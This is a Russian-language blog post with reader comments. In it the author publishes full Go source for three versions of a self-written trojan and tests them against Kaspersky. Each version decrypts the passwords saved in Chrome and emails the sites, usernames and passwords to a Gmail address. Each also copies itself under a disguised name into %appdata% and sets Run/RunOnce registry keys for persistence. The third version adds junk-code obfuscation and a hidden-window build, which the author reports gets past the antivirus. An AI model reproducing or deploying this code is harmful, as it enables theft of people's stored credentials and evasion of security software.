Тестирование
Статью я не планирую делать большой по объему, чисто показать более модифицированную версию трояна и сравнить несколько версий.
На данный момент у меня установлен Kaspersky Total Security 18.0.0.405(f)
Включены все пункты защиты кроме Anti-Banner, Anti-Spam.
У меня есть 3 версии трояна: 1.0.0 (vnetwork), 1.1.0 (systemc), 1.2.0 (reaper) (Сам придумал).
Первая версия 1.0.0 (vnetwork):
package main;
import (
"unsafe"
"os"
"log"
//"io/ioutil"
"fmt"
"io"
"syscall"
"database/sql"
_ "github.com/mattn/go-sqlite3"
"github.com/scorredoira/email"
"net/mail"
"net/smtp"
//"path/filepath"
)
var (
dllcrypt32 = syscall.NewLazyDLL("Crypt32.dll")
dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")
procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
procLocalFree = dllkernel32.NewProc("LocalFree")
dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
)
var URL string
var USERNAME string
var PASSWORD string
var pass string
type DATA_BLOB struct {
cbData uint32
pbData *byte
}
func NewBlob(d []byte) *DATA_BLOB {
if len(d) == 0 {
return &DATA_BLOB{}
}
return &DATA_BLOB{
pbData: &d[0],
cbData: uint32(len(d)),
}
}
func (b *DATA_BLOB) ToByteArray() []byte {
d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
}
func Decrypt(data []byte) ([]byte, error) {
var outblob DATA_BLOB
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
if r == 0 {
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
return outblob.ToByteArray(), nil
}
func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {
sourceFile, err := os.Open(pathSourceFile)
if err != nil {
return err
}
defer sourceFile.Close()
destFile, err := os.Create(pathDestFile)
if err != nil {
return err
}
defer destFile.Close()
_, err = io.Copy(destFile, sourceFile)
if err != nil {
return err
}
err = destFile.Sync()
if err != nil {
return err
}
sourceFileInfo, err := sourceFile.Stat()
if err != nil {
return err
}
destFileInfo, err := destFile.Stat()
if err != nil {
return err
}
if sourceFileInfo.Size() == destFileInfo.Size() {
} else {
return err
}
return nil
}
func checkFileExist(filePath string) bool {
if _, err := os.Stat(filePath); os.IsNotExist(err) {
return false
} else {
return true
}
}
func Grabber() {
//Check for Login Data file
if !checkFileExist(dataPath) {
os.Exit(0)
}
//Copy Login Data file to temp location
err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
//Open Database
db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
defer db.Close()
//Select Rows to get data from
rows, err := db.Query("select origin_url, username_value, password_value from logins")
if err != nil {
log.Fatal(err)
}
defer rows.Close()
for rows.Next() {
err = rows.Scan(&URL, &USERNAME, &PASSWORD)
if err != nil {
log.Fatal(err)
}
//Decrypt Passwords
pass, err := Decrypt([]byte(PASSWORD))
if err != nil {
log.Fatal(err)
}
//Check if no value, if none skip
if URL != "" && URL != "" && string(pass) != "" {
fmt.Println(URL, USERNAME, string(pass))
var sx string;
sx = (URL + " " + USERNAME + " " + string(pass))
m := email.NewMessage("[Grabber]: Decrypt;", sx)
m.From = mail.Address{Name: "From", Address: "examplefrom@gmail.com"}
m.To = []string{"exampleto@gmail.com"}
auth := smtp.PlainAuth("", "examplefrom@gmail.com", "Qwerty123", "smtp.gmail.com")
if err := email.Send("smtp.gmail.com:587", auth, m); err != nil {
log.Fatal(err)
}
}
}
err = rows.Err()
if err != nil {
log.Fatal(err)
}
}
func main() {
mask := []byte{33, 15, 199}
maskedStr := []byte{73, 106, 190}
res := make([]byte, 3)
for i, m := range mask {
res[i] = m ^ maskedStr[i]
}
Grabber();
moveSX := []byte{255, 255, 255, 255, 0, 0, 0, 10}
moveSXSub := []byte{1, 1, 1, 1, 22, 11, 22, 11}
result := make([]byte, 512)
for i, m := range moveSX {
result[i] = m ^ moveSXSub[i] * m * 22;
}
}
@echo off
if exist %appdata%\Microsoft\VirtualNetwork\ rmdir /S /Q %appdata%\Microsoft\VirtualNetwork
if not exist %appdata%\Microsoft\VirtualNetwork\ mkdir %appdata%\Microsoft\VirtualNetwork
xcopy /Y test.exe "%appdata%\Microsoft\System\taskmgr.exe"
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Virtual Manager" /t REG_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe"
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /V "Virtual Manager" /t REG_SZ /F /D "%appdata%\Microsoft\VirtualNetwork\taskmgr.exe"
test.exe
exit
Вторая версия трояна 1.10 (systemc):
package main;
import (
"golang.org/x/sys/windows/registry"
"fmt"
"os"
"path/filepath"
"io"
"log"
"database/sql"
_ "github.com/mattn/go-sqlite3"
"github.com/scorredoira/email"
"net/mail"
"net/smtp"
"unsafe"
"syscall"
)
var (
dllcrypt32 = syscall.NewLazyDLL("Crypt32.dll")
dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")
procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
procLocalFree = dllkernel32.NewProc("LocalFree")
dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
)
var URL string
var USERNAME string
var PASSWORD string
var pass string
type DATA_BLOB struct {
cbData uint32
pbData *byte
}
func NewBlob(d []byte) *DATA_BLOB {
if len(d) == 0 {
return &DATA_BLOB{}
}
return &DATA_BLOB{
pbData: &d[0],
cbData: uint32(len(d)),
}
}
func (b *DATA_BLOB) ToByteArray() []byte {
d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
}
func Decrypt(data []byte) ([]byte, error) {
var outblob DATA_BLOB
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
if r == 0 {
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
return outblob.ToByteArray(), nil
}
func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {
sourceFile, err := os.Open(pathSourceFile)
if err != nil {
return err
}
defer sourceFile.Close()
destFile, err := os.Create(pathDestFile)
if err != nil {
return err
}
defer destFile.Close()
_, err = io.Copy(destFile, sourceFile)
if err != nil {
return err
}
err = destFile.Sync()
if err != nil {
return err
}
sourceFileInfo, err := sourceFile.Stat()
if err != nil {
return err
}
destFileInfo, err := destFile.Stat()
if err != nil {
return err
}
if sourceFileInfo.Size() == destFileInfo.Size() {
} else {
return err
}
return nil
}
func checkFileExist(filePath string) bool {
if _, err := os.Stat(filePath); os.IsNotExist(err) {
return false
} else {
return true
}
}
func Recover() {
//Check for Login Data file
if !checkFileExist(dataPath) {
os.Exit(0)
}
//Copy Login Data file to temp location
err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
//Open Database
db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
defer db.Close()
//Select Rows to get data from
rows, err := db.Query("select origin_url, username_value, password_value from logins")
if err != nil {
log.Fatal(err)
}
defer rows.Close()
for rows.Next() {
err = rows.Scan(&URL, &USERNAME, &PASSWORD)
if err != nil {
log.Fatal(err)
}
//Decrypt Passwords
pass, err := Decrypt([]byte(PASSWORD))
if err != nil {
log.Fatal(err)
}
//Check if no value, if none skip
if URL != "" && URL != "" && string(pass) != "" {
mask := []byte{95, 53, 122}
maskedStr := []byte{144, 123, 111}
res := make([]byte, 15)
for i, m := range mask {
res[i] = m ^ maskedStr[i]
}
fmt.Println(URL, USERNAME, string(pass))
var xurl string;
xurl = (URL + " " + USERNAME + " " + string(pass))
/*util := ioutil.WriteFile("C:/password/pass.txt", []byte(x), 0644)
fmt.Println(util)*/
m := email.NewMessage("[Trojan Grabber]: Password Decryptor;", xurl)
m.From = mail.Address{Name: "From", Address: "examplefrom@gmail.com"}
m.To = []string{"exampleto@gmail.com"}
auth := smtp.PlainAuth("", "examplefrom@gmail.com", "Qwerty123", "smtp.gmail.com")
if err := email.Send("smtp.gmail.com:587", auth, m); err != nil {
log.Fatal(err)
}
}
}
err = rows.Err()
if err != nil {
log.Fatal(err)
}
}
func GetRegistryKey(typeReg registry.Key, regPath string, access uint32) (key registry.Key, err error) {
currentKey, err := registry.OpenKey(typeReg, regPath, access)
if err != nil {
fmt.Println("[FATAL]: Get registry-key is impossible!")
}
return currentKey, err;
}
func GetRegistryKeyValue(typeReg registry.Key, regPath, nameKey string) (keyValue string, err error) {
var value string = ""
key, err := GetRegistryKey(typeReg, regPath, registry.READ)
if err != nil {
fmt.Println("[FATAL]: Get registry-key is impossible!")
}
defer key.Close()
value, _, err = key.GetStringValue(nameKey)
if err != nil {
fmt.Println("[FATAL]: Get string key-value is impossible!")
}
return value, nil;
}
func CheckSetValueRegistryKey(typeReg registry.Key, regPath, nameValue string) bool {
currentKey, err := GetRegistryKey(typeReg, regPath, registry.READ)
if err != nil {
fmt.Println("[INFO]: Get registry-key is impossible!")
}
defer currentKey.Close()
_, _, err = currentKey.GetStringValue(nameValue)
if err != nil {
fmt.Println("[INFO]: Check registry-key is impossible!")
}
return true;
}
func WriteRegistryKey(typeReg registry.Key, regPath, nameProgram, pathToExecFile string) error {
updateKey, err := GetRegistryKey(typeReg, regPath, registry.WRITE)
if err != nil {
fmt.Println("[INFO]: Get registry-key is impossible!")
}
defer updateKey.Close()
return updateKey.SetStringValue(nameProgram, pathToExecFile);
}
func DeleteRegistryKey(typeReg registry.Key, regPath, nameProgram string) error {
deleteKey, err := GetRegistryKey(typeReg, regPath, registry.WRITE)
if err != nil {
fmt.Println("[INFO]: Get registry-key is impossible!")
}
defer deleteKey.Close()
return deleteKey.DeleteValue(nameProgram);
}
func main() {
var (
controllerDir string = os.Getenv("APPDATA")+"\\"+"\\Microsoft\\SystemController"
)
if _, err := os.Stat(controllerDir); os.IsNotExist(err) {
err = os.MkdirAll(controllerDir, 0755)
if err != nil {
log.Fatal(err)
}
}
currPath, err := filepath.Abs(os.Args[0])
if err != nil {
fmt.Println("#CANT FIND CURRENT PROCC>")
}
from, err := os.Open(string(currPath))
if err != nil {
log.Fatal(err)
}
defer from.Close()
to, err := os.OpenFile(controllerDir+"\\scontroller.exe", os.O_RDWR|os.O_CREATE, 0666)
if err != nil {
log.Fatal(err)
}
defer to.Close()
_, err = io.Copy(to, from)
if err != nil {
log.Fatal(err)
}
WriteRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\Run`,
"System Controller",
controllerDir+"\\scontroller.exe",
)
CheckSetValueRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\Run`,
controllerDir+"\\scontroller.exe",
)
WriteRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\RunOnce`,
"System Controller",
controllerDir+"\\scontroller.exe",
)
CheckSetValueRegistryKey(
registry.CURRENT_USER,
`Software\Microsoft\Windows\CurrentVersion\RunOnce`,
"System Controller",
)
}
Данная версия использует исключительно встроенные модули: IO, OS для копирования, перемещения и вообщем для работы с файлами и директориями. Троян успевает создать директорию, скопировать файлы и добавить себя в автозагрузку, после этого всего Kaspersky Total Security замечает активность и удаляет троян, но не удаляет скопированную копию трояна которая расположена в %appdata%/Microsoft/SystemController, хотя с последующей автозагрузкой Kaspersky Total Security все ровно его прибьет.
Третья версия трояна 1.2.0 (reaper):
package main;
import (
"unsafe"
"os"
"log"
//"io/ioutil"
"fmt"
"io"
"os/exec"
"syscall"
"database/sql"
_ "github.com/mattn/go-sqlite3"
"github.com/scorredoira/email"
"net/mail"
"net/smtp"
"path/filepath"
"time"
"math/rand"
)
var (
dllcrypt32 = syscall.NewLazyDLL("Crypt32.dll")
dllkernel32 = syscall.NewLazyDLL("Kernel32.dll")
procDecryptData = dllcrypt32.NewProc("CryptUnprotectData")
procLocalFree = dllkernel32.NewProc("LocalFree")
dataPath string = os.Getenv("USERPROFILE") + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
)
var URL string
var USERNAME string
var PASSWORD string
var pass string
type DATA_BLOB struct {
cbData uint32
pbData *byte
}
func NewBlob(d []byte) *DATA_BLOB {
if len(d) == 0 {
return &DATA_BLOB{}
}
return &DATA_BLOB{
pbData: &d[0],
cbData: uint32(len(d)),
}
}
func (b *DATA_BLOB) ToByteArray() []byte {
d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
}
func Decrypt(data []byte) ([]byte, error) {
var outblob DATA_BLOB
r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outblob)))
if r == 0 {
return nil, err
}
defer procLocalFree.Call(uintptr(unsafe.Pointer(outblob.pbData)))
return outblob.ToByteArray(), nil
}
func copyFileToDirectory(pathSourceFile string, pathDestFile string) error {
sourceFile, err := os.Open(pathSourceFile)
if err != nil {
return err
}
defer sourceFile.Close()
destFile, err := os.Create(pathDestFile)
if err != nil {
return err
}
defer destFile.Close()
_, err = io.Copy(destFile, sourceFile)
if err != nil {
return err
}
err = destFile.Sync()
if err != nil {
return err
}
sourceFileInfo, err := sourceFile.Stat()
if err != nil {
return err
}
destFileInfo, err := destFile.Stat()
if err != nil {
return err
}
if sourceFileInfo.Size() == destFileInfo.Size() {
} else {
return err
}
return nil
}
func checkFileExist(filePath string) bool {
if _, err := os.Stat(filePath); os.IsNotExist(err) {
return false
} else {
return true
}
}
func Recover() {
//Check for Login Data file
if !checkFileExist(dataPath) {
os.Exit(0)
}
//Copy Login Data file to temp location
err := copyFileToDirectory(dataPath, os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
//Open Database
db, err := sql.Open("sqlite3", os.Getenv("APPDATA")+"\\tempfile.dat")
if err != nil {
log.Fatal(err)
}
defer db.Close()
//Select Rows to get data from
rows, err := db.Query("select origin_url, username_value, password_value from logins")
if err != nil {
log.Fatal(err)
}
defer rows.Close()
for rows.Next() {
err = rows.Scan(&URL, &USERNAME, &PASSWORD)
if err != nil {
log.Fatal(err)
}
//Decrypt Passwords
pass, err := Decrypt([]byte(PASSWORD))
if err != nil {
log.Fatal(err)
}
//Check if no value, if none skip
if URL != "" && URL != "" && string(pass) != "" {
mask := []byte{95, 53, 122}
maskedStr := []byte{144, 123, 111}
res := make([]byte, 15)
for i, m := range mask {
res[i] = m ^ maskedStr[i]
}
fmt.Println(URL, USERNAME, string(pass))
var xurl string;
xurl = (URL + " " + USERNAME + " " + string(pass))
/*util := ioutil.WriteFile("C:/password/pass.txt", []byte(x), 0644)
fmt.Println(util)*/
m := email.NewMessage("[Trojan Grabber]: Password Decryptor;", xurl)
m.From = mail.Address{Name: "From", Address: "examplefrom@gmail.com"}
m.To = []string{"exampleto@gmail.com"}
auth := smtp.PlainAuth("", "examplefrom@gmail.com", "Qwerty123", "smtp.gmail.com")
if err := email.Send("smtp.gmail.com:587", auth, m); err != nil {
log.Fatal(err)
}
}
}
err = rows.Err()
if err != nil {
log.Fatal(err)
}
}
func randInt(len int) int {
rand.Seed(time.Now().Unix())
return rand.Intn(len)
}
func RandomizeWaste() {
stringWaste := []string{
"123sssas3452", "32xssf232323", "997847dhfskdjf742","jdfhxnxnxnjn23y3","4847572hcncmcm309","--23-420342934=xxvn","dskfjcxn277dnxm",
"dfjdfnxnxnnh3h476467sdhmcmvmv","032403943-43=42=4-240234","djxncnxcn76636423455787412","xcxmcnvbn2364bd","dkfdjfjcjvj2734723859r9jfmvmvm",
"dkfdkmmxnmnmhk0984","d88757kdkgmvdd2499485855322","kgkjgmvmxnxhshhergfghfhfhjiww","98574754757hello2884848483","x0c00cmcmxmxmx0x0x0x0x002",
"xc00x0cx8cx67f7df6837chjycncy73hds","12323344272743-/,,..,","..///../.,dsffdxvcxc23423232sfdx","dfkdk2948734cnmcmcvnvnsygxzzxcxc",
"948347xmxcmnvnvbdhdghsghhsns", "2378563cxkvnxcv73242djdbcbcbcc", "342894hdcjbxjcbvhjfgdys36t46443", "0093983837226123454773", "cnvcnvnc",
"234829374xcjbvjkxvbids782374623784ld", "dfjdfxbncnb32636515293723dd", "dfddddddddddd", "xxxxxxxxxxxxxxxx", "mmmmmmmmmm", "939399399",
"llllllllllllldddddllll", "933333333333333333333330", "000000000000000000", "222222222222222222221", "sddf", "xxxc", "xcxcxc", "00d88",
"99388", "99999990", "99999800", "8888333", "dxmmcmmm", "dfdfdfuuuusot", "soooooooooooooooot", "xxxxxxxxxxxxxxxxsee", "0099383333xxxxx",
"373737xxxxssss", "23879238948234jxchc", "ncxmcmeuy", "djxmxmkoood", "codedededededed", "dsxcxcxcxcxcx", "dfdf0939383", "dfdfdf{}Fdfdf{}",
}
randomSelect := randInt(len(stringWaste))
fmt.Println(stringWaste[randomSelect])
}
func Waste() {
var i string;
i="0x[uintptr={0xff, 0xff, 0xff, 0xaff, 0x0, 0x0, 0x0}:decode=255,255,255,255,0,0,0]::sempler;";
for bs, man := range i {
wasteMM := []byte{
0x42, 0xff, 0x0f, 0x05, 0x23,
0x56, 148, 143, 251, 137, 182, 5, 12, 247,
0x98, 82, 255, 46, 66, 167, 53, 0x11, 255,
0x52, 185, 0x0, 15, 84, 138, 61, 145, 209,
0xff, 245, 183, 177, 27, 123, 219, 25, 74,
0x0, 132, 209, 122, 33, 98, 216, 184, 0x0,
0x0, 112, 222, 155, 168, 0x23, 25, 237, 226,
0x0, 93, 219, 187, 124, 62, 161, 132, 89,
};
masked := []byte{
0x0, 14, 222, 148, 243, 200, 255, 34, 218,
0x42, 205, 41, 75, 104, 81, 5, 216, 2,
0x34, 171, 0x24, 88, 209, 2, 0x22, 69, 53,
0x54, 203, 136, 76, 132, 64, 26, 216, 0x0,
0x56, 14, 243, 171, 119, 157, 205, 156, 165,
0x81, 134, 61, 47, 237, 132, 13, 96, 171,
0x2, 115, 121, 86, 35, 26, 0x35, 72, 0x82,
0x5, 44, 17, 202, 249, 29, 214, 232, 222,
0x11, 31, 183, 0x42, 146, 215, 117, 83, 226,
};
bufMake := make([]byte, 512);
for i, m := range wasteMM {
bufMake[i] = m ^ masked[i] * 22 * 2 * 2 * 1 * 32 * 2 / 42 / 32 - 52 + 22 * 23 / 128;
}
fmt.Println(string(bs), string(man));
}
}
func main() {
currPath, err := filepath.Abs(os.Args[0]);
if err != nil {
fmt.Println("#CANT FIND CURRENT PROCC>");
}
Waste()
cmd := exec.Command("cmd", "/Q", "/C", "mkdir", os.Getenv("APPDATA")+"\\Microsoft\\MicrosoftNetworkShelder");
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true};
out, _ := cmd.Output();
fmt.Println(string(out));
RandomizeWaste()
cmd = exec.Command("cmd", "/Q", "/C", "move", "/Y", currPath, os.Getenv("APPDATA")+"\\Microsoft\\MicrosoftNetworkShelder\\NetworkShelder.exe");
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true};
out, _ = cmd.Output();
fmt.Println(string(out));
RandomizeWaste()
cmd = exec.Command("cmd", "/Q", "/C", "reg", "add", "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "/v", "Task Network Shelder", "/d", os.Getenv("APPDATA")+"\\Microsoft\\MicrosoftNetworkShelder\\NetworkShelder.exe");
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true};
out, _ = cmd.Output();
fmt.Println(string(out));
RandomizeWaste()
moveSX := []byte{
255, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 0,
255, 244, 244, 22, 222, 232, 255, 2,
255, 6, 6, 7, 88, 8, 8, 99, 9, 0, 0,
255, 22, 34, 78, 75, 89, 99, 0, 9, 9,
0, 43, 87, 12, 12, 13, 13, 13, 0, 0,
0, 23, 23, 22, 6, 7, 8, 8, 9, 9, 9,
0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2,
0x10, 0x4, 0x6, 0x3, 0x6, 0x7, 0x2, 1,
};
moveSXSub := []byte{1,
1, 2, 2, 3, 6, 6, 1, 2, 8, 9, 2, 4, 5,
1, 3, 6, 2, 2, 2, 2, 1, 2, 6, 7, 8, 8,
1, 5, 5, 6, 1, 2, 2, 1, 1, 7, 9, 9, 0,
22, 0, 0, 0, 0, 2, 2, 1, 34, 87, 23, 112,
11, 43, 2, 7, 88, 98, 57, 23, 65, 66, 24,
22, 11, 1, 111, 44, 42, 43, 46, 49, 47, 0,
11, 0, 1, 10, 100, 110, 140, 24, 182, 224,
};
result := make([]byte, 8*8*2*2*2*1);
for i, m := range moveSX {
result[i] = m ^ moveSXSub[i];
}
Recover();
os.Exit(1);
}
Компилируем:
go build -ldflags "-w -s" -ldflags -H=windowsgui
Данная версия трояна имеет обфусцированный код и использует исключительно системные вызовы. Троян успешно создает директорию, перемещает файлы и добавляет себя в автозагрузку. Kaspersky Total Security воспринимает его как объект не несущий угроз, так как он работает с WINAPI и компонентами ОС подписанными ЭП, с последующей автозагрузкой Kaspersky Total Security не будет обращать внимания, будет воспринимать троян как компонент ОС. Хотя рано или поздно троян все равно попадет в сигнатуры.
Как по мне самый эффективный способ это будет использовать SmartScreen для предотвращения вторжения. Если нету электронной подписи на файл — иди гуляй.
Результат на VirusTotal:
Комментарии (7)
Watcover3396
18.02.2018 00:31Может-быть стоит спрятать исходники под спойлеры?
Уж больно длинная статья получается.
ildarz
18.02.2018 12:36+1В чем смысл всего этого? Любой вменяемый сисадмин знает, как сделать с машиной более-менее что угодно, и ни один антивирус на это не ругнется.
fragmentation-drum Автор
18.02.2018 15:49Мы сейчас не о сисадминах говорим. Вы думаете что каждый пользователь ОС Windows заботиться о своей безопасности и конфиденциальности данных? Таких пользователей свыше 90%. Я хотел доказать что никакой антивирус им не поможет. А вы мне тут про сисадминов рассказываете.
ildarz
19.02.2018 10:48+1Я о том, что вы с непонятно какой целью "хотели доказать" абсолютно общеизвестные вещи, которые в доказательствах не нуждаются вообще. Сделать что угодно с пользовательскими данными можно миллионом способов, на которые антивирус не обратит никакого внимания. Это попросту общеизвестный факт, проистекающий из того, что легитимный софт по своей сути отличается от вредоносного только одним — согласием пользователя на свою работу.
saboteur_kiev
Полезная вещь — спойлеры…